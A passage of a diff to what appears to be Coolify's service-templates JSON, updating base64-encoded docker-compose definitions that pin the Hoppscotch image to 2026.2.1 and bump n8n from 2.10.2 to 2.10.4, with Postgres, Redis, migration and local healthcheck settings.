CAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxMAogIGRiLW1pZ3JhdGlvbjoKICAgIGV4Y2x1ZGVfZnJvbV9oYzogdHJ1ZQogICAgaW1hZ2U6ICdob3Bwc2NvdGNoL2hvcHBzY290Y2g6bGF0ZXN0JwogICAgZGVwZW5kc19vbjoKICAgICAgaG9wcHNjb3RjaC1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgY29tbWFuZDogJ3BucHggcHJpc21hIG1pZ3JhdGUgZGVwbG95JwogICAgcmVzdGFydDogb24tZmFpbHVyZQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1ob3Bwc2NvdGNofScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9Jwo=", + "compose": "c2VydmljZXM6CiAgYmFja2VuZDoKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOjIwMjYuMi4xJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX0hPUFBTQ09UQ0hfODAKICAgICAgLSAnVklURV9BTExPV0VEX0FVVEhfUFJPVklERVJTPSR7VklURV9BTExPV0VEX0FVVEhfUFJPVklERVJTOi1HT09HTEUsR0lUSFVCLE1JQ1JPU09GVCxFTUFJTH0nCiAgICAgIC0gJ0RBVEFCQVNFX1VSTD1wb3N0Z3Jlc3FsOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREJ9JwogICAgICAtICdEQVRBX0VOQ1JZUFRJT05fS0VZPSR7U0VSVklDRV9CQVNFNjRfREFUQUVOQ1JZUFRJT05LRVl9JwogICAgICAtICdXSElURUxJU1RFRF9PUklHSU5TPSR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9L2JhY2tlbmQsJHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0sJHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0vYWRtaW4nCiAgICAgIC0gJ01BSUxFUl9VU0VfQ1VTVE9NX0NPTkZJR1M9JHtNQUlMRVJfVVNFX0NVU1RPTV9DT05GSUdTOi10cnVlfScKICAgICAgLSAnVklURV9CQVNFX1VSTD0ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfScKICAgICAgLSAnVklURV9TSE9SVENPREVfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0nCiAgICAgIC0gJ1ZJVEVfQURNSU5fVVJMPSR7U0VSVklDRV9GUUROX0hPUFBTQ09UQ0h9L2FkbWluJwogICAgICAtICdWSVRFX0JBQ0tFTkRfR1FMX1VSTD0ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfS9iYWNrZW5kL2dyYXBocWwnCiAgICAgIC0gJ1ZJVEVfQkFDS0VORF9XU19VUkw9d3NzOi8vJHtTRVJWSUNFX0ZRRE5fSE9QUFNDT1RDSH0vYmFja2VuZC9ncmFwaHFsJwogICAgICAtICdWSVRFX0JBQ0tFTkRfQVBJX1VSTD0ke1NFUlZJQ0VfRlFETl9IT1BQU0NPVENIfS9iYWNrZW5kL3YxJwogICAgICAtICdWSVRFX0FQUF9UT1NfTElOSz1odHRwczovL2RvY3MuaG9wcHNjb3RjaC5pby9zdXBwb3J0L3Rlcm1zJwogICAgICAtICdWSVRFX0FQUF9QUklWQUNZX1BPTElDWV9MSU5LPWh0dHBzOi8vZG9jcy5ob3Bwc2NvdGNoLmlvL3N1cHBvcnQvcHJpdmFjeScKICAgICAgLSBFTkFCTEVfU1VCUEFUSF9CQVNFRF9BQ0NFU1M9dHJ1ZQogICAgZGVwZW5kc19vbjoKICAgICAgZGItbWlncmF0aW9uOgogICAgICAgIGNvbmRpdGlvbjogc2VydmljZV9jb21wbGV0ZWRfc3VjY2Vzc2Z1bGx5CiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjgwLycKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIGhvcHBzY290Y2gtZGI6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE1JwogICAgdm9sdW1lczoKICAgICAgLSAncG9zdGdyZXNfZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfVVNFUj0ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU30nCiAgICAgIC0gJ1BPU1RHUkVTX0RCPSR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1oIGxvY2FsaG9zdCAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTAKICBkYi1taWdyYXRpb246CiAgICBleGNsdWRlX2Zyb21faGM6IHRydWUKICAgIGltYWdlOiAnaG9wcHNjb3RjaC9ob3Bwc2NvdGNoOjIwMjYuMi4xJwogICAgZGVwZW5kc19vbjoKICAgICAgaG9wcHNjb3RjaC1kYjoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgY29tbWFuZDogJ3BucHggcHJpc21hIG1pZ3JhdGUgZGVwbG95JwogICAgcmVzdGFydDogb24tZmFpbHVyZQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ1BPU1RHUkVTX1VTRVI9JHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1ob3Bwc2NvdGNofScKICAgICAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzOi8vJHtTRVJWSUNFX1VTRVJfUE9TVEdSRVN9OiR7U0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU31AaG9wcHNjb3RjaC1kYjo1NDMyLyR7UE9TVEdSRVNfREI6LWhvcHBzY290Y2h9Jwo=", "tags": [ "api", "development", @@ -2884,7 +2884,7 @@ "n8n-with-postgres-and-worker": { "documentation": "https://n8n.io?utm_source=coolify.io", "slogan": "n8n is an extendable workflow automation tool with queue mode and workers.", - "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC4yJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX044Tl81Njc4CiAgICAgIC0gJ044Tl9FRElUT1JfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX1BST1RPQ09MPSR7TjhOX1BST1RPQ09MOi1odHRwc30nCiAgICAgIC0gJ0dFTkVSSUNfVElNRVpPTkU9JHtHRU5FUklDX1RJTUVaT05FOi1VVEN9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtIERCX1RZUEU9cG9zdGdyZXNkYgogICAgICAtICdEQl9QT1NUR1JFU0RCX0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICAgIC0gREJfUE9TVEdSRVNEQl9IT1NUPXBvc3RncmVzcWwKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BPUlQ9NTQzMgogICAgICAtIERCX1BPU1RHUkVTREJfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gREJfUE9TVEdSRVNEQl9TQ0hFTUE9cHVibGljCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIEVYRUNVVElPTlNfTU9ERT1xdWV1ZQogICAgICAtIFFVRVVFX0JVTExfUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFFVRVVFX0hFQUxUSF9DSEVDS19BQ1RJVkU9dHJ1ZQogICAgICAtICdOOE5fRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX0VOQ1JZUFRJT059JwogICAgICAtIE44Tl9SVU5ORVJTX0VOQUJMRUQ9dHJ1ZQogICAgICAtIE44Tl9SVU5ORVJTX01PREU9ZXh0ZXJuYWwKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTPSR7TjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTOi0wLjAuMC4wfScKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ9JHtOOE5fUlVOTkVSU19CUk9LRVJfUE9SVDotNTY3OX0nCiAgICAgIC0gTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9OOE4KICAgICAgLSAnTjhOX05BVElWRV9QWVRIT05fUlVOTkVSPSR7TjhOX05BVElWRV9QWVRIT05fUlVOTkVSOi10cnVlfScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgICAgLSBPRkZMT0FEX01BTlVBTF9FWEVDVVRJT05TX1RPX1dPUktFUlM9dHJ1ZQogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBuOG4td29ya2VyOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC4yJwogICAgY29tbWFuZDogd29ya2VyCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gRVhFQ1VUSU9OU19NT0RFPXF1ZXVlCiAgICAgIC0gUVVFVUVfQlVMTF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUVVFVUVfSEVBTFRIX0NIRUNLX0FDVElWRT10cnVlCiAgICAgIC0gJ044Tl9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfRU5DUllQVElPTn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC9oZWFsdGh6JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBuOG46CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdQT1NUR1JFU19EQj0ke1BPU1RHUkVTX0RCOi1uOG59JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzLWRhdGE6L2RhdGEnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gcmVkaXMtY2xpCiAgICAgICAgLSBwaW5nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHRhc2stcnVubmVyczoKICAgIGltYWdlOiAnbjhuaW8vcnVubmVyczoyLjEwLjInCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnTjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJPSR7TjhOX1JVTk5FUlNfVEFTS19CUk9LRVJfVVJJOi1odHRwOi8vbjhuLXdvcmtlcjo1Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ9JHtOOE5fUlVOTkVSU19BVVRPX1NIVVRET1dOX1RJTUVPVVQ6LTE1fScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gbjhuCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRC1TSEVMTAogICAgICAgIC0gJ3dnZXQgLXFPLSBodHRwOi8vMTI3LjAuMC4xOjU2ODAvJwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCg==", + "compose": "c2VydmljZXM6CiAgbjhuOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC40JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gU0VSVklDRV9GUUROX044Tl81Njc4CiAgICAgIC0gJ044Tl9FRElUT1JfQkFTRV9VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnV0VCSE9PS19VUkw9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX0hPU1Q9JHtTRVJWSUNFX0ZRRE5fTjhOfScKICAgICAgLSAnTjhOX1BST1RPQ09MPSR7TjhOX1BST1RPQ09MOi1odHRwc30nCiAgICAgIC0gJ0dFTkVSSUNfVElNRVpPTkU9JHtHRU5FUklDX1RJTUVaT05FOi1VVEN9JwogICAgICAtICdUWj0ke1RaOi1VVEN9JwogICAgICAtIERCX1RZUEU9cG9zdGdyZXNkYgogICAgICAtICdEQl9QT1NUR1JFU0RCX0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LW44bn0nCiAgICAgIC0gREJfUE9TVEdSRVNEQl9IT1NUPXBvc3RncmVzcWwKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BPUlQ9NTQzMgogICAgICAtIERCX1BPU1RHUkVTREJfVVNFUj0kU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIC0gREJfUE9TVEdSRVNEQl9TQ0hFTUE9cHVibGljCiAgICAgIC0gREJfUE9TVEdSRVNEQl9QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtIEVYRUNVVElPTlNfTU9ERT1xdWV1ZQogICAgICAtIFFVRVVFX0JVTExfUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFFVRVVFX0hFQUxUSF9DSEVDS19BQ1RJVkU9dHJ1ZQogICAgICAtICdOOE5fRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX0VOQ1JZUFRJT059JwogICAgICAtIE44Tl9SVU5ORVJTX0VOQUJMRUQ9dHJ1ZQogICAgICAtIE44Tl9SVU5ORVJTX01PREU9ZXh0ZXJuYWwKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTPSR7TjhOX1JVTk5FUlNfQlJPS0VSX0xJU1RFTl9BRERSRVNTOi0wLjAuMC4wfScKICAgICAgLSAnTjhOX1JVTk5FUlNfQlJPS0VSX1BPUlQ9JHtOOE5fUlVOTkVSU19CUk9LRVJfUE9SVDotNTY3OX0nCiAgICAgIC0gTjhOX1JVTk5FUlNfQVVUSF9UT0tFTj0kU0VSVklDRV9QQVNTV09SRF9OOE4KICAgICAgLSAnTjhOX05BVElWRV9QWVRIT05fUlVOTkVSPSR7TjhOX05BVElWRV9QWVRIT05fUlVOTkVSOi10cnVlfScKICAgICAgLSAnTjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZPSR7TjhOX1JVTk5FUlNfTUFYX0NPTkNVUlJFTkNZOi01fScKICAgICAgLSBPRkZMT0FEX01BTlVBTF9FWEVDVVRJT05TX1RPX1dPUktFUlM9dHJ1ZQogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGRlcGVuZHNfb246CiAgICAgIHBvc3RncmVzcWw6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC8nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAyMHMKICAgICAgcmV0cmllczogMTAKICBuOG4td29ya2VyOgogICAgaW1hZ2U6ICduOG5pby9uOG46Mi4xMC40JwogICAgY29tbWFuZDogd29ya2VyCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnR0VORVJJQ19USU1FWk9ORT0ke0dFTkVSSUNfVElNRVpPTkU6LVVUQ30nCiAgICAgIC0gJ1RaPSR7VFo6LVVUQ30nCiAgICAgIC0gREJfVFlQRT1wb3N0Z3Jlc2RiCiAgICAgIC0gJ0RCX1BPU1RHUkVTREJfREFUQUJBU0U9JHtQT1NUR1JFU19EQjotbjhufScKICAgICAgLSBEQl9QT1NUR1JFU0RCX0hPU1Q9cG9zdGdyZXNxbAogICAgICAtIERCX1BPU1RHUkVTREJfUE9SVD01NDMyCiAgICAgIC0gREJfUE9TVEdSRVNEQl9VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1NDSEVNQT1wdWJsaWMKICAgICAgLSBEQl9QT1NUR1JFU0RCX1BBU1NXT1JEPSRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIC0gRVhFQ1VUSU9OU19NT0RFPXF1ZXVlCiAgICAgIC0gUVVFVUVfQlVMTF9SRURJU19IT1NUPXJlZGlzCiAgICAgIC0gUVVFVUVfSEVBTFRIX0NIRUNLX0FDVElWRT10cnVlCiAgICAgIC0gJ044Tl9FTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfRU5DUllQVElPTn0nCiAgICAgIC0gTjhOX1JVTk5FUlNfRU5BQkxFRD10cnVlCiAgICAgIC0gTjhOX1JVTk5FUlNfTU9ERT1leHRlcm5hbAogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M9JHtOOE5fUlVOTkVSU19CUk9LRVJfTElTVEVOX0FERFJFU1M6LTAuMC4wLjB9JwogICAgICAtICdOOE5fUlVOTkVSU19CUk9LRVJfUE9SVD0ke044Tl9SVU5ORVJTX0JST0tFUl9QT1JUOi01Njc5fScKICAgICAgLSBOOE5fUlVOTkVSU19BVVRIX1RPS0VOPSRTRVJWSUNFX1BBU1NXT1JEX044TgogICAgICAtICdOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI9JHtOOE5fTkFUSVZFX1BZVEhPTl9SVU5ORVI6LXRydWV9JwogICAgICAtICdOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k9JHtOOE5fUlVOTkVSU19NQVhfQ09OQ1VSUkVOQ1k6LTV9JwogICAgICAtICdOOE5fQkxPQ0tfRU5WX0FDQ0VTU19JTl9OT0RFPSR7TjhOX0JMT0NLX0VOVl9BQ0NFU1NfSU5fTk9ERTotdHJ1ZX0nCiAgICAgIC0gJ044Tl9HSVRfTk9ERV9ESVNBQkxFX0JBUkVfUkVQT1M9JHtOOE5fR0lUX05PREVfRElTQUJMRV9CQVJFX1JFUE9TOi10cnVlfScKICAgICAgLSAnTjhOX0VORk9SQ0VfU0VUVElOR1NfRklMRV9QRVJNSVNTSU9OUz0ke044Tl9FTkZPUkNFX1NFVFRJTkdTX0ZJTEVfUEVSTUlTU0lPTlM6LXRydWV9JwogICAgICAtICdOOE5fUFJPWFlfSE9QUz0ke044Tl9QUk9YWV9IT1BTOi0xfScKICAgICAgLSAnTjhOX1NLSVBfQVVUSF9PTl9PQVVUSF9DQUxMQkFDSz0ke044Tl9TS0lQX0FVVEhfT05fT0FVVEhfQ0FMTEJBQ0s6LWZhbHNlfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ244bi1kYXRhOi9ob21lL25vZGUvLm44bicKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ELVNIRUxMCiAgICAgICAgLSAnd2dldCAtcU8tIGh0dHA6Ly8xMjcuMC4wLjE6NTY3OC9oZWFsdGh6JwogICAgICBpbnRlcnZhbDogNXMKICAgICAgdGltZW91dDogMjBzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBuOG46CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcG9zdGdyZXNxbDoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgICByZWRpczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzcWw6CiAgICBpbWFnZTogJ3Bvc3RncmVzOjE2LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3Bvc3RncmVzcWwtZGF0YTovdmFyL2xpYi9wb3N0Z3Jlc3FsL2RhdGEnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19VU0VSPSRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgLSBQT1NUR1JFU19QQVNTV09SRD0kU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICAtICdQT1NUR1J